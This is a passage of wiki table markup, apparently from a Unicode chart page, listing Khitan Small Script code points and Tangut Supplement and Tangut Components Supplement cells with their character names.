|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C00|&amp;#x18c00;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C01|&amp;#x18c01;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C02|&amp;#x18c02;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C03|&amp;#x18c03;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C04|&amp;#x18c04;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C05|&amp;#x18c05;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C06|&amp;#x18c06;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C07|&amp;#x18c07;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C08|&amp;#x18c08;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C09|&amp;#x18c09;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0A|&amp;#x18c0a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0B|&amp;#x18c0b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0C|&amp;#x18c0c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0D|&amp;#x18c0d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0E|&amp;#x18c0e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0F|&amp;#x18c0f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C1x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C10|&amp;#x18c10;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C11|&amp;#x18c11;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C12|&amp;#x18c12;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C13|&amp;#x18c13;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C14|&amp;#x18c14;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C15|&amp;#x18c15;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C16|&amp;#x18c16;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C17|&amp;#x18c17;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C18|&amp;#x18c18;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C19|&amp;#x18c19;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1A|&amp;#x18c1a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1B|&amp;#x18c1b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1C|&amp;#x18c1c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1D|&amp;#x18c1d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1E|&amp;#x18c1e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1F|&amp;#x18c1f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C2x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C20|&amp;#x18c20;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C21|&amp;#x18c21;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C22|&amp;#x18c22;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C23|&amp;#x18c23;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C24|&amp;#x18c24;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C25|&amp;#x18c25;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C26|&amp;#x18c26;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C27|&amp;#x18c27;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C28|&amp;#x18c28;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C29|&amp;#x18c29;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2A|&amp;#x18c2a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2B|&amp;#x18c2b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2C|&amp;#x18c2c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2D|&amp;#x18c2d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2E|&amp;#x18c2e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C2F|&amp;#x18c2f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C3x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C30|&amp;#x18c30;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C31|&amp;#x18c31;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C32|&amp;#x18c32;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C33|&amp;#x18c33;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C34|&amp;#x18c34;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C35|&amp;#x18c35;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C36|&amp;#x18c36;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C37|&amp;#x18c37;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C38|&amp;#x18c38;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C39|&amp;#x18c39;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3A|&amp;#x18c3a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3B|&amp;#x18c3b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3C|&amp;#x18c3c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3D|&amp;#x18c3d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3E|&amp;#x18c3e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C3F|&amp;#x18c3f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C4x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C40|&amp;#x18c40;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C41|&amp;#x18c41;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C42|&amp;#x18c42;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C43|&amp;#x18c43;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C44|&amp;#x18c44;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C45|&amp;#x18c45;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C46|&amp;#x18c46;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C47|&amp;#x18c47;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C48|&amp;#x18c48;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C49|&amp;#x18c49;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4A|&amp;#x18c4a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4B|&amp;#x18c4b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4C|&amp;#x18c4c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4D|&amp;#x18c4d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4E|&amp;#x18c4e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C4F|&amp;#x18c4f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C5x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C50|&amp;#x18c50;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C51|&amp;#x18c51;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C52|&amp;#x18c52;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C53|&amp;#x18c53;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C54|&amp;#x18c54;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C55|&amp;#x18c55;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C56|&amp;#x18c56;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C57|&amp;#x18c57;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C58|&amp;#x18c58;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C59|&amp;#x18c59;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5A|&amp;#x18c5a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5B|&amp;#x18c5b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5C|&amp;#x18c5c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5D|&amp;#x18c5d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5E|&amp;#x18c5e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C5F|&amp;#x18c5f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C6x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C60|&amp;#x18c60;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C61|&amp;#x18c61;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C62|&amp;#x18c62;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C63|&amp;#x18c63;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C64|&amp;#x18c64;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C65|&amp;#x18c65;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C66|&amp;#x18c66;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C67|&amp;#x18c67;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C68|&amp;#x18c68;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C69|&amp;#x18c69;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6A|&amp;#x18c6a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6B|&amp;#x18c6b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6C|&amp;#x18c6c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6D|&amp;#x18c6d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6E|&amp;#x18c6e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C6F|&amp;#x18c6f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C7x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C70|&amp;#x18c70;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C71|&amp;#x18c71;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C72|&amp;#x18c72;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C73|&amp;#x18c73;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C74|&amp;#x18c74;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C75|&amp;#x18c75;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C76|&amp;#x18c76;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C77|&amp;#x18c77;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C78|&amp;#x18c78;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C79|&amp;#x18c79;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7A|&amp;#x18c7a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7B|&amp;#x18c7b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7C|&amp;#x18c7c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7D|&amp;#x18c7d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7E|&amp;#x18c7e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C7F|&amp;#x18c7f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C8x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C80|&amp;#x18c80;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C81|&amp;#x18c81;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C82|&amp;#x18c82;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C83|&amp;#x18c83;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C84|&amp;#x18c84;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C85|&amp;#x18c85;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C86|&amp;#x18c86;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C87|&amp;#x18c87;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C88|&amp;#x18c88;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C89|&amp;#x18c89;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8A|&amp;#x18c8a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8B|&amp;#x18c8b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8C|&amp;#x18c8c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8D|&amp;#x18c8d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8E|&amp;#x18c8e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C8F|&amp;#x18c8f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C9x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C90|&amp;#x18c90;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C91|&amp;#x18c91;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C92|&amp;#x18c92;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C93|&amp;#x18c93;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C94|&amp;#x18c94;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C95|&amp;#x18c95;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C96|&amp;#x18c96;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C97|&amp;#x18c97;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C98|&amp;#x18c98;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C99|&amp;#x18c99;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9A|&amp;#x18c9a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9B|&amp;#x18c9b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9C|&amp;#x18c9c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9D|&amp;#x18c9d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9E|&amp;#x18c9e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C9F|&amp;#x18c9f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CAx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA0|&amp;#x18ca0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA1|&amp;#x18ca1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA2|&amp;#x18ca2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA3|&amp;#x18ca3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA4|&amp;#x18ca4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA5|&amp;#x18ca5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA6|&amp;#x18ca6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA7|&amp;#x18ca7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA8|&amp;#x18ca8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CA9|&amp;#x18ca9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAA|&amp;#x18caa;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAB|&amp;#x18cab;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAC|&amp;#x18cac;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAD|&amp;#x18cad;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAE|&amp;#x18cae;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CAF|&amp;#x18caf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CBx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB0|&amp;#x18cb0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB1|&amp;#x18cb1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB2|&amp;#x18cb2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB3|&amp;#x18cb3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB4|&amp;#x18cb4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB5|&amp;#x18cb5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB6|&amp;#x18cb6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB7|&amp;#x18cb7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB8|&amp;#x18cb8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CB9|&amp;#x18cb9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBA|&amp;#x18cba;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBB|&amp;#x18cbb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBC|&amp;#x18cbc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBD|&amp;#x18cbd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBE|&amp;#x18cbe;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CBF|&amp;#x18cbf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CCx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC0|&amp;#x18cc0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC1|&amp;#x18cc1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC2|&amp;#x18cc2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC3|&amp;#x18cc3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC4|&amp;#x18cc4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC5|&amp;#x18cc5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC6|&amp;#x18cc6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC7|&amp;#x18cc7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC8|&amp;#x18cc8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CC9|&amp;#x18cc9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCA|&amp;#x18cca;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCB|&amp;#x18ccb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCC|&amp;#x18ccc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCD|&amp;#x18ccd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCE|&amp;#x18cce;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CCF|&amp;#x18ccf;}}
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CDx
|style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD0|&amp;#x18cd0;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD1|&amp;#x18cd1;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD2|&amp;#x18cd2;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD3|&amp;#x18cd3;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD4|&amp;#x18cd4;}}||style=&quot;background:#ffb0ff;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CD5|&amp;#x18cd5;}}||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CEx
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18CFx
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||style=&quot;background:#edc3b4;{{text default color}};&quot;|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18CFF|&amp;#x18cff;}}
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut Supplement'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18D0x
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|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
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|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
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|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D7x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut Components Supplement'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18D8x
|{{H:title|dotted=no|TANGUT COMPONENT-769|&amp;#x18d80;}}||{{H:title|dotted=no|TANGUT COMPONENT-770|&amp;#x18d81;}}||{{H:title|dotted=no|TANGUT COMPONENT-771|&amp;#x18d82;}}||{{H:title|dotted=no|TANGUT COMPONENT-772|&amp;#x18d83;}}||{{H:title|dotted=no|TANGUT COMPONENT-773|&amp;#x18d84;}}||{{H:title|dotted=no|TANGUT COMPONENT-774|&amp;#x18d85;}}||{{H:title|dotted=no|TANGUT COMPONENT-775|&amp;#x18d86;}}||{{H:title|dotted=no|TANGUT COMPONENT-776|&amp;#x18d87;}}||{{H:title|dotted=no|TANGUT COMPONENT-777|&amp;#x18d88;}}||{{H:title|dotted=no|TANGUT COMPONENT-778|&amp;#x18d89;}}||{{H:title|dotted=no|TANGUT COMPONENT-779|&amp;#x18d8a;}}||{{H:title|dotted=no|TANGUT COMPONENT-780|&amp;#x18d8b;}}||{{H:title|dotted=no|TANGUT COMPONENT-781|&amp;#x18d8c;}}||{{H:title|dotted=no|TANGUT COMPONENT-782|&amp;#x18d8d;}}||{{H:title|dotted=no|TANGUT COMPONENT-783|&amp;#x18d8e;}}||{{H:title|dotted=no|TANGUT COMPONENT-784|&amp;#x18d8f;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18D9x
|{{H:title|dotted=no|TANGUT COMPONENT-785|&amp;#x18d90;}}||{{H:title|dotted=no|TANGUT COMPONENT-786|&amp;#x18d91;}}||{{H:title|dotted=no|TANGUT COMPONENT-787|&amp;#x18d92;}}||{{H:title|dotted=no|TANGUT COMPONENT-788|&amp;#x18d93;}}||{{H:title|dotted=no|TANGUT COMPONENT-789|&amp;#x18d94;}}||{{H:title|dotted=no|TANGUT COMPONENT-790|&amp;#x18d95;}}||{{H:title|dotted=no|TANGUT COMPONENT-791|&amp;#x18d96;}}||{{H:title|dotted=no|TANGUT COMPONENT-792|&amp;#x18d97;}}||{{H:title|dotted=no|TANGUT COMPONENT-793|&amp;#x18d98;}}||{{H:title|dotted=no|TANGUT COMPONENT-794|&amp;#x18d99;}}||{{H:title|dotted=no|TANGUT COMPONENT-795|&amp;#x18d9a;}}||{{H:title|dotted=no|TANGUT COMPONENT-796|&amp;#x18d9b;}}||{{H:title|dotted=no|TANGUT COMPONENT-797|&amp;#x18d9c;}}||{{H:title|dotted=no|TANGUT COMPONENT-798|&amp;#x18d9d;}}||{{H:title|dotted=no|TANGUT COMPONENT-799|&amp;#x18d9e;}}||{{H:title|dotted=no|TANGUT 